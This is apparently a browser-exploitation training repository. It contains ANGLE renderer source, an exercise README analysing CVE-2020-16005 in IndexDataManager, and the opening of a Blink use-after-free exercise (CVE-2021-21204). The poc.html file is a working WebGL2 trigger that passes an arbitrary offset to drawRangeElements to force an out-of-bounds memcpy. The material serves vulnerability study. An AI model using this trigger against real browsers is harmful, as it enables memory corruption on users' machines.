    const gl::VertexBinding &binding  = mState.getBindingFromAttribIndex(attribIndex);

    VertexStorageType newStorageType = ClassifyAttributeStorage(context, attrib, binding);

    // Note: having an unchanged storage type doesn't mean the attribute is clean.
    mAttribsToTranslate.set(attribIndex, newStorageType != VertexStorageType::DYNAMIC);

    if (mAttributeStorageTypes[attribIndex] == newStorageType)
        return;

    mAttributeStorageTypes[attribIndex] = newStorageType;
    mDynamicAttribsMask.set(attribIndex, newStorageType == VertexStorageType::DYNAMIC);

    if (newStorageType == VertexStorageType::CURRENT_VALUE)
    {
        stateManager->invalidateCurrentValueAttrib(attribIndex);
    }
}

bool VertexArray11::hasActiveDynamicAttrib(const gl::Context *context)
{
    const auto &activeLocations =
        context->getState().getProgramExecutable()->getActiveAttribLocationsMask();
    gl::AttributesMask activeDynamicAttribs = (mDynamicAttribsMask & activeLocations);
    return activeDynamicAttribs.any();
}

angle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context,
                                                const gl::AttributesMask &activeDirtyAttribs)
{
    const auto &glState  = context->getState();
    const auto &attribs  = mState.getVertexAttributes();
    const auto &bindings = mState.getVertexBindings();

    for (size_t dirtyAttribIndex : activeDirtyAttribs)
    {
        mAttribsToTranslate.reset(dirtyAttribIndex);

        auto *translatedAttrib   = &mTranslatedAttribs[dirtyAttribIndex];
        const auto &currentValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex);

        // Record basic attrib info
        translatedAttrib->attribute        = &attribs[dirtyAttribIndex];
        translatedAttrib->binding          = &bindings[translatedAttrib->attribute->bindingIndex];
        translatedAttrib->currentValueType = currentValue.Type;
        translatedAttrib->divisor =
            translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor;

        switch (mAttributeStorageTypes[dirtyAttribIndex])
        {
            case VertexStorageType::DIRECT:
                VertexDataManager::StoreDirectAttrib(context, translatedAttrib);
                break;
            case VertexStorageType::STATIC:
            {
                ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib));
                break;
            }
            case VertexStorageType::CURRENT_VALUE:
                // Current value attribs are managed by the StateManager11.
                break;
            default:
                UNREACHABLE();
                break;
        }
    }

    return angle::Result::Continue;
}

angle::Result VertexArray11::updateDynamicAttribs(const gl::Context *context,
                                                  VertexDataManager *vertexDataManager,
                                                  GLint firstVertex,
                                                  GLsizei vertexOrIndexCount,
                                                  gl::DrawElementsType indexTypeOrInvalid,
                                                  const void *indices,
                                                  GLsizei instances,
                                                  GLint baseVertex,
                                                  GLuint baseInstance,
                                                  const gl::AttributesMask &activeDynamicAttribs)
{
    const auto &glState  = context->getState();
    const auto &attribs  = mState.getVertexAttributes();
    const auto &bindings = mState.getVertexBindings();

    GLint startVertex;
    size_t vertexCount;
    ANGLE_TRY(GetVertexRangeInfo(context, firstVertex, vertexOrIndexCount, indexTypeOrInvalid,
                                 indices, baseVertex, &startVertex, &vertexCount));

    for (size_t dynamicAttribIndex : activeDynamicAttribs)
    {
        auto *dynamicAttrib      = &mTranslatedAttribs[dynamicAttribIndex];
        const auto &currentValue = glState.getVertexAttribCurrentValue(dynamicAttribIndex);

        // Record basic attrib info
        dynamicAttrib->attribute        = &attribs[dynamicAttribIndex];
        dynamicAttrib->binding          = &bindings[dynamicAttrib->attribute->bindingIndex];
        dynamicAttrib->currentValueType = currentValue.Type;
        dynamicAttrib->divisor = dynamicAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor;
    }

    ANGLE_TRY(vertexDataManager->storeDynamicAttribs(context, &mTranslatedAttribs,
                                                     activeDynamicAttribs, startVertex, vertexCount,
                                                     instances, baseInstance));

    VertexDataManager::PromoteDynamicAttribs(context, mTranslatedAttribs, activeDynamicAttribs,
                                             vertexCount);

    return angle::Result::Continue;
}

const std::vector<TranslatedAttribute> &VertexArray11::getTranslatedAttribs() const
{
    return mTranslatedAttribs;
}

void VertexArray11::markAllAttributeDivisorsForAdjustment(int numViews)
{
    if (mAppliedNumViewsToDivisor != numViews)
    {
        mAppliedNumViewsToDivisor = numViews;
        mAttribsToTranslate.set();
        // mDynamicAttribsMask may have already been set (updateVertexAttribStorage
        // We don't want to override DYNAMIC attribs as they will be handled separately.
        mAttribsToTranslate = mAttribsToTranslate ^ mDynamicAttribsMask;
    }
}

const TranslatedIndexData &VertexArray11::getCachedIndexInfo() const
{
    ASSERT(mCachedIndexInfo.valid());
    return mCachedIndexInfo.value();
}

void VertexArray11::updateCachedIndexInfo(const TranslatedIndexData &indexInfo)
{
    mCachedIndexInfo = indexInfo;
}

bool VertexArray11::isCachedIndexInfoValid() const
{
    return mCachedIndexInfo.valid();
}

gl::DrawElementsType VertexArray11::getCachedDestinationIndexType() const
{
    return mCachedDestinationIndexType;
}

}  // namespace rx


================================================
FILE: LEVEL_1/exercise_3/IndexDataManager.cpp
================================================
//
// Copyright 2002 The ANGLE Project Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//

// IndexDataManager.cpp: Defines the IndexDataManager, a class that
// runs the Buffer translation process for index buffers.

#include "libANGLE/renderer/d3d/IndexDataManager.h"

#include "common/utilities.h"
#include "libANGLE/Buffer.h"
#include "libANGLE/Context.h"
#include "libANGLE/VertexArray.h"
#include "libANGLE/formatutils.h"
#include "libANGLE/renderer/d3d/BufferD3D.h"
#include "libANGLE/renderer/d3d/ContextD3D.h"
#include "libANGLE/renderer/d3d/IndexBuffer.h"

namespace rx
{

namespace
{

template <typename InputT, typename DestT>
void ConvertIndexArray(const void *input,
                       gl::DrawElementsType sourceType,
                       void *output,
                       gl::DrawElementsType destinationType,
                       GLsizei count,
                       bool usePrimitiveRestartFixedIndex)
{
    const InputT *in = static_cast<const InputT *>(input);
    DestT *out       = static_cast<DestT *>(output);

    if (usePrimitiveRestartFixedIndex)
    {
        InputT srcRestartIndex = static_cast<InputT>(gl::GetPrimitiveRestartIndex(sourceType));
        DestT destRestartIndex = static_cast<DestT>(gl::GetPrimitiveRestartIndex(destinationType));
        for (GLsizei i = 0; i < count; i++)
        {
            out[i] = (in[i] == srcRestartIndex ? destRestartIndex : static_cast<DestT>(in[i]));
        }
    }
    else
    {
        for (GLsizei i = 0; i < count; i++)
        {
            out[i] = static_cast<DestT>(in[i]);
        }
    }
}

void ConvertIndices(gl::DrawElementsType sourceType,
                    gl::DrawElementsType destinationType,
                    const void *input,
                    GLsizei count,
                    void *output,
                    bool usePrimitiveRestartFixedIndex)
{
    if (sourceType == destinationType)
    {
        const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType);
        memcpy(output, input, count * dstTypeSize);
        return;
    }

    if (sourceType == gl::DrawElementsType::UnsignedByte)
    {
        ASSERT(destinationType == gl::DrawElementsType::UnsignedShort);
        ConvertIndexArray<GLubyte, GLushort>(input, sourceType, output, destinationType, count,
                                             usePrimitiveRestartFixedIndex);
    }
    else if (sourceType == gl::DrawElementsType::UnsignedShort)
    {
        ASSERT(destinationType == gl::DrawElementsType::UnsignedInt);
        ConvertIndexArray<GLushort, GLuint>(input, sourceType, output, destinationType, count,
                                            usePrimitiveRestartFixedIndex);
    }
    else
        UNREACHABLE();
}

angle::Result StreamInIndexBuffer(const gl::Context *context,
                                  IndexBufferInterface *buffer,
                                  const void *data,
                                  unsigned int count,
                                  gl::DrawElementsType srcType,
                                  gl::DrawElementsType dstType,
                                  bool usePrimitiveRestartFixedIndex,
                                  unsigned int *offset)
{
    const GLuint dstTypeBytesShift = gl::GetDrawElementsTypeShift(dstType);

    bool check = (count > (std::numeric_limits<unsigned int>::max() >> dstTypeBytesShift));
    ANGLE_CHECK(GetImplAs<ContextD3D>(context), !check,
                "Reserving indices exceeds the maximum buffer size.", GL_OUT_OF_MEMORY);

    unsigned int bufferSizeRequired = count << dstTypeBytesShift;
    ANGLE_TRY(buffer->reserveBufferSpace(context, bufferSizeRequired, dstType));

    void *output = nullptr;
    ANGLE_TRY(buffer->mapBuffer(context, bufferSizeRequired, &output, offset));

    ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex);

    ANGLE_TRY(buffer->unmapBuffer(context));
    return angle::Result::Continue;
}
}  // anonymous namespace

// IndexDataManager implementation.
IndexDataManager::IndexDataManager(BufferFactoryD3D *factory)
    : mFactory(factory), mStreamingBufferShort(), mStreamingBufferInt()
{}

IndexDataManager::~IndexDataManager() {}

void IndexDataManager::deinitialize()
{
    mStreamingBufferShort.reset();
    mStreamingBufferInt.reset();
}

// This function translates a GL-style indices into DX-style indices, with their description
// returned in translated.
// GL can specify vertex data in immediate mode (pointer to CPU array of indices), which is not
// possible in DX and requires streaming (Case 1). If the GL indices are specified with a buffer
// (Case 2), in a format supported by DX (subcase a) then all is good.
// When we have a buffer with an unsupported format (subcase b) then we need to do some translation:
// we will start by falling back to streaming, and after a while will start using a static
// translated copy of the index buffer.
angle::Result IndexDataManager::prepareIndexData(const gl::Context *context,
                                                 gl::DrawElementsType srcType,
                                                 gl::DrawElementsType dstType,
                                                 GLsizei count,
                                                 gl::Buffer *glBuffer,
                                                 const void *indices,
                                                 TranslatedIndexData *translated)
{
    GLuint srcTypeBytes = gl::GetDrawElementsTypeSize(srcType);
    GLuint srcTypeShift = gl::GetDrawElementsTypeShift(srcType);
    GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);

    BufferD3D *buffer = glBuffer ? GetImplAs<BufferD3D>(glBuffer) : nullptr;

    translated->indexType                 = dstType;
    translated->srcIndexData.srcBuffer    = buffer;
    translated->srcIndexData.srcIndices   = indices;
    translated->srcIndexData.srcIndexType = srcType;
    translated->srcIndexData.srcCount     = count;

    // Context can be nullptr in perf tests.
    bool primitiveRestartFixedIndexEnabled =
        context ? context->getState().isPrimitiveRestartEnabled() : false;

    // Case 1: the indices are passed by pointer, which forces the streaming of index data
    if (glBuffer == nullptr)
    {
        translated->storage = nullptr;
        return streamIndexData(context, indices, count, srcType, dstType,
                               primitiveRestartFixedIndexEnabled, translated);
    }

    // Case 2: the indices are already in a buffer
    unsigned int offset = static_cast<unsigned int>(reinterpret_cast<uintptr_t>(indices));
    ASSERT(srcTypeBytes * static_cast<unsigned int>(count) + offset <= buffer->getSize());

    bool offsetAligned = IsOffsetAligned(srcType, offset);

    // Case 2a: the buffer can be used directly
    if (offsetAligned && buffer->supportsDirectBinding() && dstType == srcType)
    {
        translated->storage     = buffer;
        translated->indexBuffer = nullptr;
        translated->serial      = buffer->getSerial();
        translated->startIndex  = (offset >> srcTypeShift);
        translated->startOffset = offset;
        return angle::Result::Continue;
    }

    translated->storage = nullptr;

    // Case 2b: use a static translated copy or fall back to streaming
    StaticIndexBufferInterface *staticBuffer = buffer->getStaticIndexBuffer();

    bool staticBufferInitialized = staticBuffer && staticBuffer->getBufferSize() != 0;
    bool staticBufferUsable =
        staticBuffer && offsetAligned && staticBuffer->getIndexType() == dstType;

    if (staticBufferInitialized && !staticBufferUsable)
    {
        buffer->invalidateStaticData(context);
        staticBuffer = nullptr;
    }

    if (staticBuffer == nullptr || !offsetAligned)
    {
        const uint8_t *bufferData = nullptr;
        ANGLE_TRY(buffer->getData(context, &bufferData));
        ASSERT(bufferData != nullptr);

        ANGLE_TRY(streamIndexData(context, bufferData + offset, count, srcType, dstType,
                                  primitiveRestartFixedIndexEnabled, translated));
        buffer->promoteStaticUsage(context, count << srcTypeShift);
    }
    else
    {
        if (!staticBufferInitialized)
        {
            const uint8_t *bufferData = nullptr;
            ANGLE_TRY(buffer->getData(context, &bufferData));
            ASSERT(bufferData != nullptr);

            unsigned int convertCount =
                static_cast<unsigned int>(buffer->getSize()) >> srcTypeShift;
            ANGLE_TRY(StreamInIndexBuffer(context, staticBuffer, bufferData, convertCount, srcType,
                                          dstType, primitiveRestartFixedIndexEnabled, nullptr));
        }
        ASSERT(offsetAligned && staticBuffer->getIndexType() == dstType);

        translated->indexBuffer = staticBuffer->getIndexBuffer();
        translated->serial      = staticBuffer->getSerial();
        translated->startIndex  = (offset >> srcTypeShift);
        translated->startOffset = (offset >> srcTypeShift) << dstTypeShift;
    }

    return angle::Result::Continue;
}

angle::Result IndexDataManager::streamIndexData(const gl::Context *context,
                                                const void *data,
                                                unsigned int count,
                                                gl::DrawElementsType srcType,
                                                gl::DrawElementsType dstType,
                                                bool usePrimitiveRestartFixedIndex,
                                                TranslatedIndexData *translated)
{
    const GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);

    IndexBufferInterface *indexBuffer = nullptr;
    ANGLE_TRY(getStreamingIndexBuffer(context, dstType, &indexBuffer));
    ASSERT(indexBuffer != nullptr);

    unsigned int offset;
    ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType,
                                  usePrimitiveRestartFixedIndex, &offset));

    translated->indexBuffer = indexBuffer->getIndexBuffer();
    translated->serial      = indexBuffer->getSerial();
    translated->startIndex  = (offset >> dstTypeShift);
    translated->startOffset = offset;

    return angle::Result::Continue;
}

angle::Result IndexDataManager::getStreamingIndexBuffer(const gl::Context *context,
                                                        gl::DrawElementsType destinationIndexType,
                                                        IndexBufferInterface **outBuffer)
{
    ASSERT(outBuffer);
    ASSERT(destinationIndexType == gl::DrawElementsType::UnsignedShort ||
           destinationIndexType == gl::DrawElementsType::UnsignedInt);

    auto &streamingBuffer = (destinationIndexType == gl::DrawElementsType::UnsignedInt)
                                ? mStreamingBufferInt
                                : mStreamingBufferShort;

    if (!streamingBuffer)
    {
        StreamingBuffer newBuffer(new StreamingIndexBufferInterface(mFactory));
        ANGLE_TRY(newBuffer->reserveBufferSpace(context, INITIAL_INDEX_BUFFER_SIZE,
                                                destinationIndexType));
        streamingBuffer = std::move(newBuffer);
    }

    *outBuffer = streamingBuffer.get();
    return angle::Result::Continue;
}

angle::Result GetIndexTranslationDestType(const gl::Context *context,
                                          GLsizei indexCount,
                                          gl::DrawElementsType indexType,
                                          const void *indices,
                                          bool usePrimitiveRestartWorkaround,
                                          gl::DrawElementsType *destTypeOut)
{
    // Avoid D3D11's primitive restart index value
    // see http://msdn.microsoft.com/en-us/library/windows/desktop/bb205124(v=vs.85).aspx
    if (usePrimitiveRestartWorkaround)
    {
        // Conservatively assume we need to translate the indices for draw indirect.
        // This is a bit of a trick. We assume the count for an indirect draw is zero.
        if (indexCount == 0)
        {
            *destTypeOut = gl::DrawElementsType::UnsignedInt;
            return angle::Result::Continue;
        }

        gl::IndexRange indexRange;
        ANGLE_TRY(context->getState().getVertexArray()->getIndexRange(
            context, indexType, indexCount, indices, &indexRange));
        if (indexRange.end == gl::GetPrimitiveRestartIndex(indexType))
        {
            *destTypeOut = gl::DrawElementsType::UnsignedInt;
            return angle::Result::Continue;
        }
    }

    *destTypeOut = (indexType == gl::DrawElementsType::UnsignedInt)
                       ? gl::DrawElementsType::UnsignedInt
                       : gl::DrawElementsType::UnsignedShort;
    return angle::Result::Continue;
}

}  // namespace rx


================================================
FILE: LEVEL_1/exercise_3/README.md
================================================
# Exercise 3

## CVE-2020-16005
I sugget you don't search any report about it to prevents get too much info like patch.

This time we do it by code audit
### Details

> When the WebGL2RenderingContext.drawRangeElements() API is processed in the ANGLE library, IndexDataManager::prepareIndexData is called internally.
In prepareIndexData, if glBuffer is a null pointer, the second argument of streamIndexData becomes indices. This value is the last parameter(offset) of the drawRangeElements, a 4-byte integer which can be arbitrarily set.

---------

<details>
  <summary>For more info click me! But you'd better not do this</summary>

   https://bugs.chromium.org/p/chromium/issues/detail?id=1139398
</details>

--------

### Set environment
We download the ANGLE
```sh
git clone https://chromium.googlesource.com/angle/angle
```
Then checkout the branch, we set the commit hash
```sh
cd angle
git  reset --hard 6e1259375f2d6f579fe7430442a9657e00d15656  # we get it by issue page
```
Download depot_tools and ninja
```sh
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc # or zshrc  

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
```

Sync all standalone dependencies
```sh
# open new terminal to update env
cd src/third_party/angle
python scripts/bootstrap.py   # download depot_tools in advance
gclient sync
```
Generate ANGLE standalone build files and build
```sh
gn gen out/Debug              # download ninja in advance
ninja -j 10 -k1 -C out/Debug
```

more detile in [offical](https://chromium.googlesource.com/angle/angle/+/HEAD/doc/BuildingAngleForChromiumDevelopment.md)

### Related code
we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/6e1259375f2d6f579fe7430442a9657e00d15656/src/libANGLE/renderer/d3d/IndexDataManager.cpp#135) or offline.

```c++
    // This function translates a GL-style indices into DX-style indices, with their description
    // returned in translated.
    // GL can specify vertex data in immediate mode (pointer to CPU array of indices), which is not
    // possible in DX and requires streaming (Case 1). If the GL indices are specified with a buffer
    // (Case 2), in a format supported by DX (subcase a) then all is good.
    // When we have a buffer with an unsupported format (subcase b) then we need to do some translation:
    // we will start by falling back to streaming, and after a while will start using a static
    // translated copy of the index buffer.
    angle::Result IndexDataManager::prepareIndexData(const gl::Context *context,
                                                    gl::DrawElementsType srcType,
                                                    gl::DrawElementsType dstType,
                                                    GLsizei count,
                                                    gl::Buffer *glBuffer,
                                                    const void *indices,
                                                    TranslatedIndexData *translated)
    {
        GLuint srcTypeBytes = gl::GetDrawElementsTypeSize(srcType);
        GLuint srcTypeShift = gl::GetDrawElementsTypeShift(srcType);
        GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);

        BufferD3D *buffer = glBuffer ? GetImplAs<BufferD3D>(glBuffer) : nullptr;

        translated->indexType                 = dstType;
        translated->srcIndexData.srcBuffer    = buffer;
        translated->srcIndexData.srcIndices   = indices;
        translated->srcIndexData.srcIndexType = srcType;
        translated->srcIndexData.srcCount     = count;

        // Context can be nullptr in perf tests.
        bool primitiveRestartFixedIndexEnabled =
            context ? context->getState().isPrimitiveRestartEnabled() : false;

        // Case 1: the indices are passed by pointer, which forces the streaming of index data
        if (glBuffer == nullptr)
        {
            translated->storage = nullptr;
            return streamIndexData(context, indices, count, srcType, dstType,  //call streamIndexData
                                primitiveRestartFixedIndexEnabled, translated);
        }

        // Case 2: the indices are already in a buffer
        unsigned int offset = static_cast<unsigned int>(reinterpret_cast<uintptr_t>(indices));
        ASSERT(srcTypeBytes * static_cast<unsigned int>(count) + offset <= buffer->getSize());

        bool offsetAligned = IsOffsetAligned(srcType, offset);

        [ ... ]
==============================================================================
angle::Result IndexDataManager::streamIndexData(const gl::Context *context,
                                                const void *data,
                                                unsigned int count,
                                                gl::DrawElementsType srcType,
                                                gl::DrawElementsType dstType,
                                                bool usePrimitiveRestartFixedIndex,
                                                TranslatedIndexData *translated)
{
    const GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType);

    IndexBufferInterface *indexBuffer = nullptr;
    ANGLE_TRY(getStreamingIndexBuffer(context, dstType, &indexBuffer));
    ASSERT(indexBuffer != nullptr);

    unsigned int offset;
    ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType,  // call StreamInIndexBuffer
                                  usePrimitiveRestartFixedIndex, &offset));

    translated->indexBuffer = indexBuffer->getIndexBuffer();
    translated->serial      = indexBuffer->getSerial();
    translated->startIndex  = (offset >> dstTypeShift);
    translated->startOffset = offset;

    return angle::Result::Continue;
}
===================================================================================
angle::Result StreamInIndexBuffer(const gl::Context *context,
                                  IndexBufferInterface *buffer,
                                  const void *data,
                                  unsigned int count,
                                  gl::DrawElementsType srcType,
                                  gl::DrawElementsType dstType,
                                  bool usePrimitiveRestartFixedIndex,
                                  unsigned int *offset)
{
    const GLuint dstTypeBytesShift = gl::GetDrawElementsTypeShift(dstType);

    bool check = (count > (std::numeric_limits<unsigned int>::max() >> dstTypeBytesShift));
    ANGLE_CHECK(GetImplAs<ContextD3D>(context), !check,
                "Reserving indices exceeds the maximum buffer size.", GL_OUT_OF_MEMORY);

    unsigned int bufferSizeRequired = count << dstTypeBytesShift;
    ANGLE_TRY(buffer->reserveBufferSpace(context, bufferSizeRequired, dstType));

    void *output = nullptr;
    ANGLE_TRY(buffer->mapBuffer(context, bufferSizeRequired, &output, offset));

    ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex);  // call

    ANGLE_TRY(buffer->unmapBuffer(context));
    return angle::Result::Continue;
}
============================================================================================
void ConvertIndices(gl::DrawElementsType sourceType,
                    gl::DrawElementsType destinationType,
                    const void *input,
                    GLsizei count,
                    void *output,
                    bool usePrimitiveRestartFixedIndex)
{
    if (sourceType == destinationType)
    {
        const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType);
        memcpy(output, input, count * dstTypeSize);
        return;
    }

    if (sourceType == gl::DrawElementsType::UnsignedByte)
    {
        ASSERT(destinationType == gl::DrawElementsType::UnsignedShort);
        ConvertIndexArray<GLubyte, GLushort>(input, sourceType, output, destinationType, count,
                                             usePrimitiveRestartFixedIndex);
    }
    else if (sourceType == gl::DrawElementsType::UnsignedShort)
    {
        ASSERT(destinationType == gl::DrawElementsType::UnsignedInt);
        ConvertIndexArray<GLushort, GLuint>(input, sourceType, output, destinationType, count,
                                            usePrimitiveRestartFixedIndex);
    }
    else
        UNREACHABLE();
}
```
```c++
    angle::Result drawRangeElements(const gl::Context *context,
                                    gl::PrimitiveMode mode,
                                    GLuint start,
                                    GLuint end,
                                    GLsizei count,
                                    gl::DrawElementsType type,
                                    const void *indices) override;
```



### Do it
Do this exercise by yourself, If you find my answer have something wrong, please correct it.


---------

<details>
  <summary>My answer</summary>

  You can get info about [WebGL2RenderingContext.drawRangeElements()](https://developer.mozilla.org/en-US/docs/Web/API/WebGL2RenderingContext/drawRangeElements) to know how to construct Poc.
  Notice that if we call `drawRangeElements()` with a invalide parameter, the bug can be trigger. It is the easiest challenge of the three.
  ```c++
        angle::Result IndexDataManager::prepareIndexData(const gl::Context *context,
                                                    gl::DrawElementsType srcType,
                                                    gl::DrawElementsType dstType,
                                                    GLsizei count,
                                                    gl::Buffer *glBuffer,
                                                    const void *indices,
                                                    TranslatedIndexData *translated)
    {
        // Case 1: the indices are passed by pointer, which forces the streaming of index data
        if (glBuffer == nullptr)                                               [1]
        {
            translated->storage = nullptr;
            return streamIndexData(context, indices, count, srcType, dstType,  [2]
                                primitiveRestartFixedIndexEnabled, translated);
        }
  ```
  if `glBuffer == nullptr`, `indices` can be second parameter of `streamIndexData`.
  ```c++
    angle::Result IndexDataManager::streamIndexData(const gl::Context *context,
                                                const void *data,       <----------
                                                unsigned int count,
                                                gl::DrawElementsType srcType,
                                                gl::DrawElementsType dstType,
                                                bool usePrimitiveRestartFixedIndex,
                                                TranslatedIndexData *translated)
    {
        unsigned int offset;
        ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType,  [3] indices as third parameter
                                    usePrimitiveRestartFixedIndex, &offset));

        return angle::Result::Continue;
    }
    =================================================================================
    angle::Result StreamInIndexBuffer(const gl::Context *context,
                                  IndexBufferInterface *buffer,
                                  const void *data,  <---------------
                                  unsigned int count,
                                  gl::DrawElementsType srcType,
                                  gl::DrawElementsType dstType,
                                  bool usePrimitiveRestartFixedIndex,
                                  unsigned int *offset)
    {
        ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex);  [4] indices as third parameter

        ANGLE_TRY(buffer->unmapBuffer(context));
        return angle::Result::Continue;
    }
    ========================================================================================
    void ConvertIndices(gl::DrawElementsType sourceType,
                    gl::DrawElementsType destinationType,
                    const void *input,     <------------------
                    GLsizei count,
                    void *output,
                    bool usePrimitiveRestartFixedIndex)
    {
        if (sourceType == destinationType)
        {
            const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType);
            memcpy(output, input, count * dstTypeSize);    [5] call memcpy and we can control input as any value
            return;
        }
        // other type of sourceType, but they all have assignment operation
        [ .... ]
    }
  ```
  This time I encourage you to try construct Poc, you just need call `gl.drawRangeElements(mode, start, end, count, type, offset);` and fill the last parameter named `offset` with a invalid value like `0xdeadbeef`. But there is a lot of pre-work before this, you need to search some info to reach. And test it on the angle your build ago.
  

</details>

--------



================================================
FILE: LEVEL_1/exercise_3/poc.html
================================================
<html>
<head>
<script id="vshader" type="x-shader/x-vertex">
void main()
{
}
</script>
<script id="fshader" type="x-shader/x-fragment">
void main()
{
    gl_FragData[0] = vec4(1, 2, 3, 4);
}
</script>
<script type="text/javascript">
function trigger() {
    var canvas = document.getElementById('canvas');

    var gl = canvas.getContext('webgl2');
    var vShader = gl.createShader(gl.VERTEX_SHADER);
    var vShaderScript = document.getElementById('vshader');

    gl.shaderSource(vShader, vShaderScript.text);
    gl.compileShader(vShader);

    var fShader = gl.createShader(gl.FRAGMENT_SHADER);
    var fShaderScript = document.getElementById('fshader');
    gl.shaderSource(fShader, fShaderScript.text);
    gl.compileShader(fShader);

    var program = gl.createProgram();
    gl.attachShader(program, vShader);
    gl.attachShader(program, fShader);
    gl.linkProgram(program);

    gl.useProgram(program);

    var buffer = gl.createBuffer();
    gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, buffer);
    gl.vertexAttrib4f(0, 0, 0, 0, 0);
    gl.drawElements(gl.TRIANGLES, 0, gl.UNSIGNED_SHORT, gl.UNSIGNED_BYTE);

    var vao = gl.createVertexArray();
    gl.bindVertexArray(vao);
    //gl.drawRangeElements(gl.LINE_STRIP, 0, 0, 0x100, gl.UNSIGNED_BYTE, 0x41424344);
    gl.drawRangeElements(gl.LINE_STRIP, 0, 0, 0x12345, gl.UNSIGNED_SHORT, 0x41424344);
}

function start() {
    trigger();
}

</script>
</head>
<body onload="start();">
<canvas id="canvas"></canvas>
</body>
</html>

================================================
FILE: LEVEL_1/exercise_4/README.md
================================================
# Exercise 4

## CVE-2021-21204
I sugget you don't search any report about it to prevents get too much info like patch.

This time we do it by code audit

### Details

> What is happening is that the BlinkScrollbarPartAnimation instance
  passed to BlinkScrollbarPartAnimationTimer is released while
  the BlinkScrollbarPartAnimationTimer::TimerFired method runs as
  part of BlinkScrollbarPartAnimation::setCurrentProgress call,
  during the execution of ScrollbarPainter::setKnobAlpha which ends
  up calling BlinkScrollbarPainterDelegate::setUpAlphaAnimation
  through a chain of observers.
  BlinkScrollbarPainterDelegate::setUpAlphaAnimation releases the
  BlinkScrollbarPartAnimation instance which gets deallocated.
  BlinkScrollbarPartAnimation::setCurrentProgress continues execution
  after ScrollbarPainter::setKnobAlpha returns, but the _scrollbarPointer
  is overwritten with garbage and when SetNeedsPaintInvalidation
  is called the crash happens.

You'd better read [these](https://www.chromium.org/blink) to have a preliminary understanding of Blink and make sure you know a little about `Objective-C`

---------

<details>
  <summary>For more info click me! But you'd better not do this</summary>

  https://bugs.chromium.org/p/chromium/issues/detail?id=1189926

</details>

--------

### Set environment

Because the hash we get from issue page is related to chromium, we need download the chromium source code and blink is one part of it. I upload the main file and you can try to fetch chromium.
The hash [`6c3c857b90ef63822c8e598bdb7aea604ba1688c`](https://github.com/chromium/chromium/tree/6c3c857b90ef63822c8e598bdb7aea604ba1688c/third_party/blink)

### Related code
we can analysis the source file [online](https://source.chromium.org/chromium/chromium/src/+/6c3c857b90ef63822c8e598bdb7aea604ba1688c:third_party/blink/renderer/core/scroll/mac_scrollbar_animator_impl.mm#414) or offline.

```objective-c
class BlinkScrollbarPartAnimationTimer {
 public:
  BlinkScrollbarPartAnimationTimer(
      BlinkScrollbarPartAnimation* animation,
      CFTimeInterval duration,
      scoped_refptr<base::SingleThreadTaskRunner> task_runner)
      : timer_(std::move(task_runner),
               this,
               &BlinkScrollbarPartAnimationTimer::TimerFired),
        start_time_(0.0),
        duration_(duration),
        animation_(animation),
        timing_function_(CubicBezierTimingFunction::Preset(
            CubicBezierTimingFunction::EaseType::EASE_IN_OUT)) {}
 private:
  void TimerFired(TimerBase*) {
    double current_time = base::Time::Now().ToDoubleT();
    double delta = current_time - start_time_;

    if (delta >= duration_)
      timer_.Stop();
    // This is a speculative fix for crbug.com/1183276.
    if (!animation_)
      return;

    double fraction = delta / duration_;
    fraction = clampTo(fraction, 0.0, 1.0);
    double progress = timing_function_->Evaluate(fraction);
    [animation_ setCurrentProgress:progress];
  }

  TaskRunnerTimer<BlinkScrollbarPartAnimationTimer> timer_;
  double start_time_;                       // In seconds.
  double duration_;                         // In seconds.
  BlinkScrollbarPartAnimation* animation_;  // Weak, owns this.
  scoped_refptr<CubicBezierTimingFunction> timing_function_;
};
```

```objective-c
- (void)setCurrentProgress:(NSAnimationProgress)progress {
  DCHECK(_scrollbar);
  CGFloat currentValue;
  if (_startValue > _endValue)
    currentValue = 1 - progress;
  else
    currentValue = progress;
  blink::ScrollbarPart invalidParts = blink::kNoPart;
  switch (_featureToAnimate) {
    case ThumbAlpha:
      [_scrollbarPainter setKnobAlpha:currentValue];  // call ScrollbarPainter::setKnobAlpha
      break;
    case TrackAlpha:
      [_scrollbarPainter setTrackAlpha:currentValue];
      invalidParts = static_cast<blink::ScrollbarPart>(~blink::kThumbPart);
      break;
    case UIStateTransition:
      [_scrollbarPainter setUiStateTransitionProgress:currentValue];
      invalidParts = blink::kAllParts;
      break;
    case ExpansionTransition:
      [_scrollbarPainter setExpansionTransitionProgress:currentValue];
      invalidParts = blink::kThumbPart;
      break;
  }
  _scrollbar->SetNeedsPaintInvalidation(invalidParts);
}
============================================================================
- (void)scrollerImp:(id)scrollerImp
    animateKnobAlphaTo:(CGFloat)newKnobAlpha
              duration:(NSTimeInterval)duration {
  if (!_scrollbar)
    return;

  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));

  ScrollbarPainter scrollerPainter = (ScrollbarPainter)scrollerImp;
  [self setUpAlphaAnimation:_knobAlphaAnimation    // call BlinkScrollbarPainterDelegate::setUpAlphaAnimation
